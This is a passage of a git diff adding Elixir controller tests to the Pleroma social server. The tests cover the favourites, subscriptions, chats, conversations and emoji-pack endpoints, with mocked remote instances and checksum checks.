seventh_activity in response + end + + test "limits favorites using limit parameter", %{ + conn: conn, + user: user + } do + 7 + |> insert_list(:note_activity) + |> Enum.each(fn activity -> + CommonAPI.favorite(user, activity.id) + end) + + response = + conn + |> get("/api/v1/pleroma/accounts/#{user.id}/favourites?limit=3") + |> json_response_and_validate_schema(:ok) + + assert length(response) == 3 + end + + test "returns empty response when user does not have any favorited statuses", %{ + conn: conn, + user: user + } do + response = + conn + |> get("/api/v1/pleroma/accounts/#{user.id}/favourites") + |> json_response_and_validate_schema(:ok) + + assert Enum.empty?(response) + end + + test "returns 404 error when specified user is not exist", %{conn: conn} do + conn = get(conn, "/api/v1/pleroma/accounts/test/favourites") + + assert json_response_and_validate_schema(conn, 404) == %{"error" => "Record not found"} + end + + test "returns 403 error when user has hidden own favorites", %{conn: conn} do + user = insert(:user, hide_favorites: true) + activity = insert(:note_activity) + CommonAPI.favorite(user, activity.id) + + conn = get(conn, "/api/v1/pleroma/accounts/#{user.id}/favourites") + + assert json_response_and_validate_schema(conn, 403) == %{"error" => "Can't get favorites"} + end + + test "hides favorites for new users by default", %{conn: conn} do + user = insert(:user) + activity = insert(:note_activity) + CommonAPI.favorite(user, activity.id) + + assert user.hide_favorites + conn = get(conn, "/api/v1/pleroma/accounts/#{user.id}/favourites") + + assert json_response_and_validate_schema(conn, 403) == %{"error" => "Can't get favorites"} + end + end + + describe "subscribing / unsubscribing" do + test "subscribing / unsubscribing to a user" do + %{user: user, conn: conn} = oauth_access(["follow"]) + subscription_target = insert(:user) + + ret_conn = + conn + |> assign(:user, user) + |> post("/api/v1/pleroma/accounts/#{subscription_target.id}/subscribe") + + assert %{"id" => _id, "subscribing" => true} = + json_response_and_validate_schema(ret_conn, 200) + + conn = post(conn, "/api/v1/pleroma/accounts/#{subscription_target.id}/unsubscribe") + + assert %{"id" => _id, "subscribing" => false} = json_response_and_validate_schema(conn, 200) + end + end + + describe "subscribing" do + test "returns 404 when subscription_target not found" do + %{conn: conn} = oauth_access(["write:follows"]) + + conn = post(conn, "/api/v1/pleroma/accounts/target_id/subscribe") + + assert %{"error" => "Record not found"} = json_response_and_validate_schema(conn, 404) + end + end + + describe "unsubscribing" do + test "returns 404 when subscription_target not found" do + %{conn: conn} = oauth_access(["follow"]) + + conn = post(conn, "/api/v1/pleroma/accounts/target_id/unsubscribe") + + assert %{"error" => "Record not found"} = json_response_and_validate_schema(conn, 404) + end + end +end diff --git a/test/pleroma/web/pleroma_api/controllers/chat_controller_test.exs b/test/pleroma/web/pleroma_api/controllers/chat_controller_test.exs new file mode 100644 index 000000000..11d5ba373 --- /dev/null +++ b/test/pleroma/web/pleroma_api/controllers/chat_controller_test.exs @@ -0,0 +1,410 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only +defmodule Pleroma.Web.PleromaAPI.ChatControllerTest do + use Pleroma.Web.ConnCase + + alias Pleroma.Chat + alias Pleroma.Chat.MessageReference + alias Pleroma.Object + alias Pleroma.User + alias Pleroma.Web.ActivityPub.ActivityPub + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + + describe "POST /api/v1/pleroma/chats/:id/messages/:message_id/read" do + setup do: oauth_access(["write:chats"]) + + test "it marks one message as read", %{conn: conn, user: user} do + other_user = insert(:user) + + {:ok, create} = CommonAPI.post_chat_message(other_user, user, "sup") + {:ok, _create} = CommonAPI.post_chat_message(other_user, user, "sup part 2") + {:ok, chat} = Chat.get_or_create(user.id, other_user.ap_id) + object = Object.normalize(create, false) + cm_ref = MessageReference.for_chat_and_object(chat, object) + + assert cm_ref.unread == true + + result = + conn + |> post("/api/v1/pleroma/chats/#{chat.id}/messages/#{cm_ref.id}/read") + |> json_response_and_validate_schema(200) + + assert result["unread"] == false + + cm_ref = MessageReference.for_chat_and_object(chat, object) + + assert cm_ref.unread == false + end + end + + describe "POST /api/v1/pleroma/chats/:id/read" do + setup do: oauth_access(["write:chats"]) + + test "given a `last_read_id`, it marks everything until then as read", %{ + conn: conn, + user: user + } do + other_user = insert(:user) + + {:ok, create} = CommonAPI.post_chat_message(other_user, user, "sup") + {:ok, _create} = CommonAPI.post_chat_message(other_user, user, "sup part 2") + {:ok, chat} = Chat.get_or_create(user.id, other_user.ap_id) + object = Object.normalize(create, false) + cm_ref = MessageReference.for_chat_and_object(chat, object) + + assert cm_ref.unread == true + + result = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/pleroma/chats/#{chat.id}/read", %{"last_read_id" => cm_ref.id}) + |> json_response_and_validate_schema(200) + + assert result["unread"] == 1 + + cm_ref = MessageReference.for_chat_and_object(chat, object) + + assert cm_ref.unread == false + end + end + + describe "POST /api/v1/pleroma/chats/:id/messages" do + setup do: oauth_access(["write:chats"]) + + test "it posts a message to the chat", %{conn: conn, user: user} do + other_user = insert(:user) + + {:ok, chat} = Chat.get_or_create(user.id, other_user.ap_id) + + result = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/pleroma/chats/#{chat.id}/messages", %{"content" => "Hallo!!"}) + |> json_response_and_validate_schema(200) + + assert result["content"] == "Hallo!!" + assert result["chat_id"] == chat.id |> to_string() + end + + test "it fails if there is no content", %{conn: conn, user: user} do + other_user = insert(:user) + + {:ok, chat} = Chat.get_or_create(user.id, other_user.ap_id) + + result = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/pleroma/chats/#{chat.id}/messages") + |> json_response_and_validate_schema(400) + + assert %{"error" => "no_content"} == result + end + + test "it works with an attachment", %{conn: conn, user: user} do + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image.jpg"), + filename: "an_image.jpg" + } + + {:ok, upload} = ActivityPub.upload(file, actor: user.ap_id) + + other_user = insert(:user) + + {:ok, chat} = Chat.get_or_create(user.id, other_user.ap_id) + + result = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/pleroma/chats/#{chat.id}/messages", %{ + "media_id" => to_string(upload.id) + }) + |> json_response_and_validate_schema(200) + + assert result["attachment"] + end + + test "gets MRF reason when rejected", %{conn: conn, user: user} do + clear_config([:mrf_keyword, :reject], ["GNO"]) + clear_config([:mrf, :policies], [Pleroma.Web.ActivityPub.MRF.KeywordPolicy]) + + other_user = insert(:user) + + {:ok, chat} = Chat.get_or_create(user.id, other_user.ap_id) + + result = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/pleroma/chats/#{chat.id}/messages", %{"content" => "GNO/Linux"}) + |> json_response_and_validate_schema(422) + + assert %{"error" => "[KeywordPolicy] Matches with rejected keyword"} == result + end + end + + describe "DELETE /api/v1/pleroma/chats/:id/messages/:message_id" do + setup do: oauth_access(["write:chats"]) + + test "it deletes a message from the chat", %{conn: conn, user: user} do + recipient = insert(:user) + + {:ok, message} = + CommonAPI.post_chat_message(user, recipient, "Hello darkness my old friend") + + {:ok, other_message} = CommonAPI.post_chat_message(recipient, user, "nico nico ni") + + object = Object.normalize(message, false) + + chat = Chat.get(user.id, recipient.ap_id) + + cm_ref = MessageReference.for_chat_and_object(chat, object) + + # Deleting your own message removes the message and the reference + result = + conn + |> put_req_header("content-type", "application/json") + |> delete("/api/v1/pleroma/chats/#{chat.id}/messages/#{cm_ref.id}") + |> json_response_and_validate_schema(200) + + assert result["id"] == cm_ref.id + refute MessageReference.get_by_id(cm_ref.id) + assert %{data: %{"type" => "Tombstone"}} = Object.get_by_id(object.id) + + # Deleting other people's messages just removes the reference + object = Object.normalize(other_message, false) + cm_ref = MessageReference.for_chat_and_object(chat, object) + + result = + conn + |> put_req_header("content-type", "application/json") + |> delete("/api/v1/pleroma/chats/#{chat.id}/messages/#{cm_ref.id}") + |> json_response_and_validate_schema(200) + + assert result["id"] == cm_ref.id + refute MessageReference.get_by_id(cm_ref.id) + assert Object.get_by_id(object.id) + end + end + + describe "GET /api/v1/pleroma/chats/:id/messages" do + setup do: oauth_access(["read:chats"]) + + test "it paginates", %{conn: conn, user: user} do + recipient = insert(:user) + + Enum.each(1..30, fn _ -> + {:ok, _} = CommonAPI.post_chat_message(user, recipient, "hey") + end) + + chat = Chat.get(user.id, recipient.ap_id) + + response = get(conn, "/api/v1/pleroma/chats/#{chat.id}/messages") + result = json_response_and_validate_schema(response, 200) + + [next, prev] = get_resp_header(response, "link") |> hd() |> String.split(", ") + api_endpoint = "/api/v1/pleroma/chats/" + + assert String.match?( + next, + ~r(#{api_endpoint}.*/messages\?id=.*&limit=\d+&max_id=.*; rel=\"next\"$) + ) + + assert String.match?( + prev, + ~r(#{api_endpoint}.*/messages\?id=.*&limit=\d+&min_id=.*; rel=\"prev\"$) + ) + + assert length(result) == 20 + + response = + get(conn, "/api/v1/pleroma/chats/#{chat.id}/messages?max_id=#{List.last(result)["id"]}") + + result = json_response_and_validate_schema(response, 200) + [next, prev] = get_resp_header(response, "link") |> hd() |> String.split(", ") + + assert String.match?( + next, + ~r(#{api_endpoint}.*/messages\?id=.*&limit=\d+&max_id=.*; rel=\"next\"$) + ) + + assert String.match?( + prev, + ~r(#{api_endpoint}.*/messages\?id=.*&limit=\d+&max_id=.*&min_id=.*; rel=\"prev\"$) + ) + + assert length(result) == 10 + end + + test "it returns the messages for a given chat", %{conn: conn, user: user} do + other_user = insert(:user) + third_user = insert(:user) + + {:ok, _} = CommonAPI.post_chat_message(user, other_user, "hey") + {:ok, _} = CommonAPI.post_chat_message(user, third_user, "hey") + {:ok, _} = CommonAPI.post_chat_message(user, other_user, "how are you?") + {:ok, _} = CommonAPI.post_chat_message(other_user, user, "fine, how about you?") + + chat = Chat.get(user.id, other_user.ap_id) + + result = + conn + |> get("/api/v1/pleroma/chats/#{chat.id}/messages") + |> json_response_and_validate_schema(200) + + result + |> Enum.each(fn message -> + assert message["chat_id"] == chat.id |> to_string() + end) + + assert length(result) == 3 + + # Trying to get the chat of a different user + conn + |> assign(:user, other_user) + |> get("/api/v1/pleroma/chats/#{chat.id}/messages") + |> json_response_and_validate_schema(404) + end + end + + describe "POST /api/v1/pleroma/chats/by-account-id/:id" do + setup do: oauth_access(["write:chats"]) + + test "it creates or returns a chat", %{conn: conn} do + other_user = insert(:user) + + result = + conn + |> post("/api/v1/pleroma/chats/by-account-id/#{other_user.id}") + |> json_response_and_validate_schema(200) + + assert result["id"] + end + end + + describe "GET /api/v1/pleroma/chats/:id" do + setup do: oauth_access(["read:chats"]) + + test "it returns a chat", %{conn: conn, user: user} do + other_user = insert(:user) + + {:ok, chat} = Chat.get_or_create(user.id, other_user.ap_id) + + result = + conn + |> get("/api/v1/pleroma/chats/#{chat.id}") + |> json_response_and_validate_schema(200) + + assert result["id"] == to_string(chat.id) + end + end + + describe "GET /api/v1/pleroma/chats" do + setup do: oauth_access(["read:chats"]) + + test "it does not return chats with deleted users", %{conn: conn, user: user} do + recipient = insert(:user) + {:ok, _} = Chat.get_or_create(user.id, recipient.ap_id) + + Pleroma.Repo.delete(recipient) + User.invalidate_cache(recipient) + + result = + conn + |> get("/api/v1/pleroma/chats") + |> json_response_and_validate_schema(200) + + assert length(result) == 0 + end + + test "it does not return chats with users you blocked", %{conn: conn, user: user} do + recipient = insert(:user) + + {:ok, _} = Chat.get_or_create(user.id, recipient.ap_id) + + result = + conn + |> get("/api/v1/pleroma/chats") + |> json_response_and_validate_schema(200) + + assert length(result) == 1 + + User.block(user, recipient) + + result = + conn + |> get("/api/v1/pleroma/chats") + |> json_response_and_validate_schema(200) + + assert length(result) == 0 + end + + test "it returns all chats", %{conn: conn, user: user} do + Enum.each(1..30, fn _ -> + recipient = insert(:user) + {:ok, _} = Chat.get_or_create(user.id, recipient.ap_id) + end) + + result = + conn + |> get("/api/v1/pleroma/chats") + |> json_response_and_validate_schema(200) + + assert length(result) == 30 + end + + test "it return a list of chats the current user is participating in, in descending order of updates", + %{conn: conn, user: user} do + har = insert(:user) + jafnhar = insert(:user) + tridi = insert(:user) + + {:ok, chat_1} = Chat.get_or_create(user.id, har.ap_id) + :timer.sleep(1000) + {:ok, _chat_2} = Chat.get_or_create(user.id, jafnhar.ap_id) + :timer.sleep(1000) + {:ok, chat_3} = Chat.get_or_create(user.id, tridi.ap_id) + :timer.sleep(1000) + + # bump the second one + {:ok, chat_2} = Chat.bump_or_create(user.id, jafnhar.ap_id) + + result = + conn + |> get("/api/v1/pleroma/chats") + |> json_response_and_validate_schema(200) + + ids = Enum.map(result, & &1["id"]) + + assert ids == [ + chat_2.id |> to_string(), + chat_3.id |> to_string(), + chat_1.id |> to_string() + ] + end + + test "it is not affected by :restrict_unauthenticated setting (issue #1973)", %{ + conn: conn, + user: user + } do + clear_config([:restrict_unauthenticated, :profiles, :local], true) + clear_config([:restrict_unauthenticated, :profiles, :remote], true) + + user2 = insert(:user) + user3 = insert(:user, local: false) + + {:ok, _chat_12} = Chat.get_or_create(user.id, user2.ap_id) + {:ok, _chat_13} = Chat.get_or_create(user.id, user3.ap_id) + + result = + conn + |> get("/api/v1/pleroma/chats") + |> json_response_and_validate_schema(200) + + account_ids = Enum.map(result, &get_in(&1, ["account", "id"])) + assert Enum.sort(account_ids) == Enum.sort([user2.id, user3.id]) + end + end +end diff --git a/test/pleroma/web/pleroma_api/controllers/conversation_controller_test.exs b/test/pleroma/web/pleroma_api/controllers/conversation_controller_test.exs new file mode 100644 index 000000000..e6d0b3e37 --- /dev/null +++ b/test/pleroma/web/pleroma_api/controllers/conversation_controller_test.exs @@ -0,0 +1,136 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.PleromaAPI.ConversationControllerTest do + use Pleroma.Web.ConnCase + + alias Pleroma.Conversation.Participation + alias Pleroma.Repo + alias Pleroma.User + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + + test "/api/v1/pleroma/conversations/:id" do + user = insert(:user) + %{user: other_user, conn: conn} = oauth_access(["read:statuses"]) + + {:ok, _activity} = + CommonAPI.post(user, %{status: "Hi @#{other_user.nickname}!", visibility: "direct"}) + + [participation] = Participation.for_user(other_user) + + result = + conn + |> get("/api/v1/pleroma/conversations/#{participation.id}") + |> json_response_and_validate_schema(200) + + assert result["id"] == participation.id |> to_string() + end + + test "/api/v1/pleroma/conversations/:id/statuses" do + user = insert(:user) + %{user: other_user, conn: conn} = oauth_access(["read:statuses"]) + third_user = insert(:user) + + {:ok, _activity} = + CommonAPI.post(user, %{status: "Hi @#{third_user.nickname}!", visibility: "direct"}) + + {:ok, activity} = + CommonAPI.post(user, %{status: "Hi @#{other_user.nickname}!", visibility: "direct"}) + + [participation] = Participation.for_user(other_user) + + {:ok, activity_two} = + CommonAPI.post(other_user, %{ + status: "Hi!", + in_reply_to_status_id: activity.id, + in_reply_to_conversation_id: participation.id + }) + + result = + conn + |> get("/api/v1/pleroma/conversations/#{participation.id}/statuses") + |> json_response_and_validate_schema(200) + + assert length(result) == 2 + + id_one = activity.id + id_two = activity_two.id + assert [%{"id" => ^id_one}, %{"id" => ^id_two}] = result + + {:ok, %{id: id_three}} = + CommonAPI.post(other_user, %{ + status: "Bye!", + in_reply_to_status_id: activity.id, + in_reply_to_conversation_id: participation.id + }) + + assert [%{"id" => ^id_two}, %{"id" => ^id_three}] = + conn + |> get("/api/v1/pleroma/conversations/#{participation.id}/statuses?limit=2") + |> json_response_and_validate_schema(:ok) + + assert [%{"id" => ^id_three}] = + conn + |> get("/api/v1/pleroma/conversations/#{participation.id}/statuses?min_id=#{id_two}") + |> json_response_and_validate_schema(:ok) + end + + test "PATCH /api/v1/pleroma/conversations/:id" do + %{user: user, conn: conn} = oauth_access(["write:conversations"]) + other_user = insert(:user) + + {:ok, _activity} = CommonAPI.post(user, %{status: "Hi", visibility: "direct"}) + + [participation] = Participation.for_user(user) + + participation = Repo.preload(participation, :recipients) + + user = User.get_cached_by_id(user.id) + assert [user] == participation.recipients + assert other_user not in participation.recipients + + query = "recipients[]=#{user.id}&recipients[]=#{other_user.id}" + + result = + conn + |> patch("/api/v1/pleroma/conversations/#{participation.id}?#{query}") + |> json_response_and_validate_schema(200) + + assert result["id"] == participation.id |> to_string + + [participation] = Participation.for_user(user) + participation = Repo.preload(participation, :recipients) + + assert user in participation.recipients + assert other_user in participation.recipients + end + + test "POST /api/v1/pleroma/conversations/read" do + user = insert(:user) + %{user: other_user, conn: conn} = oauth_access(["write:conversations"]) + + {:ok, _activity} = + CommonAPI.post(user, %{status: "Hi @#{other_user.nickname}", visibility: "direct"}) + + {:ok, _activity} = + CommonAPI.post(user, %{status: "Hi @#{other_user.nickname}", visibility: "direct"}) + + [participation2, participation1] = Participation.for_user(other_user) + assert Participation.get(participation2.id).read == false + assert Participation.get(participation1.id).read == false + assert User.get_cached_by_id(other_user.id).unread_conversation_count == 2 + + [%{"unread" => false}, %{"unread" => false}] = + conn + |> post("/api/v1/pleroma/conversations/read", %{}) + |> json_response_and_validate_schema(200) + + [participation2, participation1] = Participation.for_user(other_user) + assert Participation.get(participation2.id).read == true + assert Participation.get(participation1.id).read == true + assert User.get_cached_by_id(other_user.id).unread_conversation_count == 0 + end +end diff --git a/test/pleroma/web/pleroma_api/controllers/emoji_pack_controller_test.exs b/test/pleroma/web/pleroma_api/controllers/emoji_pack_controller_test.exs new file mode 100644 index 000000000..386ad8634 --- /dev/null +++ b/test/pleroma/web/pleroma_api/controllers/emoji_pack_controller_test.exs @@ -0,0 +1,604 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.PleromaAPI.EmojiPackControllerTest do + use Pleroma.Web.ConnCase + + import Tesla.Mock + import Pleroma.Factory + + @emoji_path Path.join( + Pleroma.Config.get!([:instance, :static_dir]), + "emoji" + ) + setup do: clear_config([:auth, :enforce_oauth_admin_scope_usage], false) + + setup do: clear_config([:instance, :public], true) + + setup do + admin = insert(:user, is_admin: true) + token = insert(:oauth_admin_token, user: admin) + + admin_conn = + build_conn() + |> assign(:user, admin) + |> assign(:token, token) + + Pleroma.Emoji.reload() + {:ok, %{admin_conn: admin_conn}} + end + + test "GET /api/pleroma/emoji/packs when :public: false", %{conn: conn} do + Config.put([:instance, :public], false) + conn |> get("/api/pleroma/emoji/packs") |> json_response_and_validate_schema(200) + end + + test "GET /api/pleroma/emoji/packs", %{conn: conn} do + resp = conn |> get("/api/pleroma/emoji/packs") |> json_response_and_validate_schema(200) + + assert resp["count"] == 4 + + assert resp["packs"] + |> Map.keys() + |> length() == 4 + + shared = resp["packs"]["test_pack"] + assert shared["files"] == %{"blank" => "blank.png", "blank2" => "blank2.png"} + assert Map.has_key?(shared["pack"], "download-sha256") + assert shared["pack"]["can-download"] + assert shared["pack"]["share-files"] + + non_shared = resp["packs"]["test_pack_nonshared"] + assert non_shared["pack"]["share-files"] == false + assert non_shared["pack"]["can-download"] == false + + resp = + conn + |> get("/api/pleroma/emoji/packs?page_size=1") + |> json_response_and_validate_schema(200) + + assert resp["count"] == 4 + + packs = Map.keys(resp["packs"]) + + assert length(packs) == 1 + + [pack1] = packs + + resp = + conn + |> get("/api/pleroma/emoji/packs?page_size=1&page=2") + |> json_response_and_validate_schema(200) + + assert resp["count"] == 4 + packs = Map.keys(resp["packs"]) + assert length(packs) == 1 + [pack2] = packs + + resp = + conn + |> get("/api/pleroma/emoji/packs?page_size=1&page=3") + |> json_response_and_validate_schema(200) + + assert resp["count"] == 4 + packs = Map.keys(resp["packs"]) + assert length(packs) == 1 + [pack3] = packs + + resp = + conn + |> get("/api/pleroma/emoji/packs?page_size=1&page=4") + |> json_response_and_validate_schema(200) + + assert resp["count"] == 4 + packs = Map.keys(resp["packs"]) + assert length(packs) == 1 + [pack4] = packs + assert [pack1, pack2, pack3, pack4] |> Enum.uniq() |> length() == 4 + end + + describe "GET /api/pleroma/emoji/packs/remote" do + test "shareable instance", %{admin_conn: admin_conn, conn: conn} do + resp = + conn + |> get("/api/pleroma/emoji/packs?page=2&page_size=1") + |> json_response_and_validate_schema(200) + + mock(fn + %{method: :get, url: "https://example.com/.well-known/nodeinfo"} -> + json(%{links: [%{href: "https://example.com/nodeinfo/2.1.json"}]}) + + %{method: :get, url: "https://example.com/nodeinfo/2.1.json"} -> + json(%{metadata: %{features: ["shareable_emoji_packs"]}}) + + %{method: :get, url: "https://example.com/api/pleroma/emoji/packs?page=2&page_size=1"} -> + json(resp) + end) + + assert admin_conn + |> get("/api/pleroma/emoji/packs/remote?url=https://example.com&page=2&page_size=1") + |> json_response_and_validate_schema(200) == resp + end + + test "non shareable instance", %{admin_conn: admin_conn} do + mock(fn + %{method: :get, url: "https://example.com/.well-known/nodeinfo"} -> + json(%{links: [%{href: "https://example.com/nodeinfo/2.1.json"}]}) + + %{method: :get, url: "https://example.com/nodeinfo/2.1.json"} -> + json(%{metadata: %{features: []}}) + end) + + assert admin_conn + |> get("/api/pleroma/emoji/packs/remote?url=https://example.com") + |> json_response_and_validate_schema(500) == %{ + "error" => "The requested instance does not support sharing emoji packs" + } + end + end + + describe "GET /api/pleroma/emoji/packs/archive?name=:name" do + test "download shared pack", %{conn: conn} do + resp = + conn + |> get("/api/pleroma/emoji/packs/archive?name=test_pack") + |> response(200) + + {:ok, arch} = :zip.unzip(resp, [:memory]) + + assert Enum.find(arch, fn {n, _} -> n == 'pack.json' end) + assert Enum.find(arch, fn {n, _} -> n == 'blank.png' end) + end + + test "non existing pack", %{conn: conn} do + assert conn + |> get("/api/pleroma/emoji/packs/archive?name=test_pack_for_import") + |> json_response_and_validate_schema(:not_found) == %{ + "error" => "Pack test_pack_for_import does not exist" + } + end + + test "non downloadable pack", %{conn: conn} do + assert conn + |> get("/api/pleroma/emoji/packs/archive?name=test_pack_nonshared") + |> json_response_and_validate_schema(:forbidden) == %{ + "error" => + "Pack test_pack_nonshared cannot be downloaded from this instance, either pack sharing was disabled for this pack or some files are missing" + } + end + end + + describe "POST /api/pleroma/emoji/packs/download" do + test "shared pack from remote and non shared from fallback-src", %{ + admin_conn: admin_conn, + conn: conn + } do + mock(fn + %{method: :get, url: "https://example.com/.well-known/nodeinfo"} -> + json(%{links: [%{href: "https://example.com/nodeinfo/2.1.json"}]}) + + %{method: :get, url: "https://example.com/nodeinfo/2.1.json"} -> + json(%{metadata: %{features: ["shareable_emoji_packs"]}}) + + %{ + method: :get, + url: "https://example.com/api/pleroma/emoji/pack?name=test_pack" + } -> + conn + |> get("/api/pleroma/emoji/pack?name=test_pack") + |> json_response_and_validate_schema(200) + |> json() + + %{ + method: :get, + url: "https://example.com/api/pleroma/emoji/packs/archive?name=test_pack" + } -> + conn + |> get("/api/pleroma/emoji/packs/archive?name=test_pack") + |> response(200) + |> text() + + %{ + method: :get, + url: "https://example.com/api/pleroma/emoji/pack?name=test_pack_nonshared" + } -> + conn + |> get("/api/pleroma/emoji/pack?name=test_pack_nonshared") + |> json_response_and_validate_schema(200) + |> json() + + %{ + method: :get, + url: "https://nonshared-pack" + } -> + text(File.read!("#{@emoji_path}/test_pack_nonshared/nonshared.zip")) + end) + + assert admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> post("/api/pleroma/emoji/packs/download", %{ + url: "https://example.com", + name: "test_pack", + as: "test_pack2" + }) + |> json_response_and_validate_schema(200) == "ok" + + assert File.exists?("#{@emoji_path}/test_pack2/pack.json") + assert File.exists?("#{@emoji_path}/test_pack2/blank.png") + + assert admin_conn + |> delete("/api/pleroma/emoji/pack?name=test_pack2") + |> json_response_and_validate_schema(200) == "ok" + + refute File.exists?("#{@emoji_path}/test_pack2") + + assert admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> post( + "/api/pleroma/emoji/packs/download", + %{ + url: "https://example.com", + name: "test_pack_nonshared", + as: "test_pack_nonshared2" + } + ) + |> json_response_and_validate_schema(200) == "ok" + + assert File.exists?("#{@emoji_path}/test_pack_nonshared2/pack.json") + assert File.exists?("#{@emoji_path}/test_pack_nonshared2/blank.png") + + assert admin_conn + |> delete("/api/pleroma/emoji/pack?name=test_pack_nonshared2") + |> json_response_and_validate_schema(200) == "ok" + + refute File.exists?("#{@emoji_path}/test_pack_nonshared2") + end + + test "nonshareable instance", %{admin_conn: admin_conn} do + mock(fn + %{method: :get, url: "https://old-instance/.well-known/nodeinfo"} -> + json(%{links: [%{href: "https://old-instance/nodeinfo/2.1.json"}]}) + + %{method: :get, url: "https://old-instance/nodeinfo/2.1.json"} -> + json(%{metadata: %{features: []}}) + end) + + assert admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> post( + "/api/pleroma/emoji/packs/download", + %{ + url: "https://old-instance", + name: "test_pack", + as: "test_pack2" + } + ) + |> json_response_and_validate_schema(500) == %{ + "error" => "The requested instance does not support sharing emoji packs" + } + end + + test "checksum fail", %{admin_conn: admin_conn} do + mock(fn + %{method: :get, url: "https://example.com/.well-known/nodeinfo"} -> + json(%{links: [%{href: "https://example.com/nodeinfo/2.1.json"}]}) + + %{method: :get, url: "https://example.com/nodeinfo/2.1.json"} -> + json(%{metadata: %{features: ["shareable_emoji_packs"]}}) + + %{ + method: :get, + url: "https://example.com/api/pleroma/emoji/pack?name=pack_bad_sha" + } -> + {:ok, pack} = Pleroma.Emoji.Pack.load_pack("pack_bad_sha") + %Tesla.Env{status: 200, body: Jason.encode!(pack)} + + %{ + method: :get, + url: "https://example.com/api/pleroma/emoji/packs/archive?name=pack_bad_sha" + } -> + %Tesla.Env{ + status: 200, + body: File.read!("test/instance_static/emoji/pack_bad_sha/pack_bad_sha.zip") + } + end) + + assert admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> post("/api/pleroma/emoji/packs/download", %{ + url: "https://example.com", + name: "pack_bad_sha", + as: "pack_bad_sha2" + }) + |> json_response_and_validate_schema(:internal_server_error) == %{ + "error" => "SHA256 for the pack doesn't match the one sent by the server" + } + end + + test "other error", %{admin_conn: admin_conn} do + mock(fn + %{method: :get, url: "https://example.com/.well-known/nodeinfo"} -> + json(%{links: [%{href: "https://example.com/nodeinfo/2.1.json"}]}) + + %{method: :get, url: "https://example.com/nodeinfo/2.1.json"} -> + json(%{metadata: %{features: ["shareable_emoji_packs"]}}) + + %{ + method: :get, + url: "https://example.com/api/pleroma/emoji/pack?name=test_pack" + } -> + {:ok, pack} = Pleroma.Emoji.Pack.load_pack("test_pack") + %Tesla.Env{status: 200, body: Jason.encode!(pack)} + end) + + assert admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> post("/api/pleroma/emoji/packs/download", %{ + url: "https://example.com", + name: "test_pack", + as: "test_pack2" + }) + |> json_response_and_validate_schema(:internal_server_error) == %{ + "error" => + "The pack was not set as shared and there is no fallback src to download from" + } + end + end + + describe "PATCH /api/pleroma/emoji/pack?name=:name" do + setup do + pack_file = "#{@emoji_path}/test_pack/pack.json" + original_content = File.read!(pack_file) + + on_exit(fn -> + File.write!(pack_file, original_content) + end) + + {:ok, + pack_file: pack_file, + new_data: %{ + "license" => "Test license changed", + "homepage" => "https://pleroma.social", + "description" => "Test description", + "share-files" => false + }} + end + + test "for a pack without a fallback source", ctx do + assert ctx[:admin_conn] + |> put_req_header("content-type", "multipart/form-data") + |> patch("/api/pleroma/emoji/pack?name=test_pack", %{ + "metadata" => ctx[:new_data] + }) + |> json_response_and_validate_schema(200) == ctx[:new_data] + + assert Jason.decode!(File.read!(ctx[:pack_file]))["pack"] == ctx[:new_data] + end + + test "for a pack with a fallback source", ctx do + mock(fn + %{ + method: :get, + url: "https://nonshared-pack" + } -> + text(File.read!("#{@emoji_path}/test_pack_nonshared/nonshared.zip")) + end) + + new_data = Map.put(ctx[:new_data], "fallback-src", "https://nonshared-pack") + + new_data_with_sha = + Map.put( + new_data, + "fallback-src-sha256", + "1967BB4E42BCC34BCC12D57BE7811D3B7BE52F965BCE45C87BD377B9499CE11D" + ) + + assert ctx[:admin_conn] + |> put_req_header("content-type", "multipart/form-data") + |> patch("/api/pleroma/emoji/pack?name=test_pack", %{metadata: new_data}) + |> json_response_and_validate_schema(200) == new_data_with_sha + + assert Jason.decode!(File.read!(ctx[:pack_file]))["pack"] == new_data_with_sha + end + + test "when the fallback source doesn't have all the files", ctx do + mock(fn + %{ + method: :get, + url: "https://nonshared-pack" + } -> + {:ok, {'empty.zip', empty_arch}} = :zip.zip('empty.zip', [], [:memory]) + text(empty_arch) + end) + + new_data = Map.put(ctx[:new_data], "fallback-src", "https://nonshared-pack") + + assert ctx[:admin_conn] + |> put_req_header("content-type", "multipart/form-data") + |> patch("/api/pleroma/emoji/pack?name=test_pack", %{metadata: new_data}) + |> json_response_and_validate_schema(:bad_request) == %{ + "error" => "The fallback archive does not have all files specified in pack.json" + } + end + end + + describe "POST/DELETE /api/pleroma/emoji/pack?name=:name" do + test "creating and deleting a pack", %{admin_conn: admin_conn} do + assert admin_conn + |> post("/api/pleroma/emoji/pack?name=test_created") + |> json_response_and_validate_schema(200) == "ok" + + assert File.exists?("#{@emoji_path}/test_created/pack.json") + + assert Jason.decode!(File.read!("#{@emoji_path}/test_created/pack.json")) == %{ + "pack" => %{}, + "files" => %{}, + "files_count" => 0 + } + + assert admin_conn + |> delete("/api/pleroma/emoji/pack?name=test_created") + |> json_response_and_validate_schema(200) == "ok" + + refute File.exists?("#{@emoji_path}/test_created/pack.json") + end + + test "if pack exists", %{admin_conn: admin_conn} do + path = Path.join(@emoji_path, "test_created") + File.mkdir(path) + pack_file = Jason.encode!(%{files: %{}, pack: %{}}) + File.write!(Path.join(path, "pack.json"), pack_file) + + assert admin_conn + |> post("/api/pleroma/emoji/pack?name=test_created") + |> json_response_and_validate_schema(:conflict) == %{ + "error" => "A pack named \"test_created\" already exists" + } + + on_exit(fn -> File.rm_rf(path) end) + end + + test "with empty name", 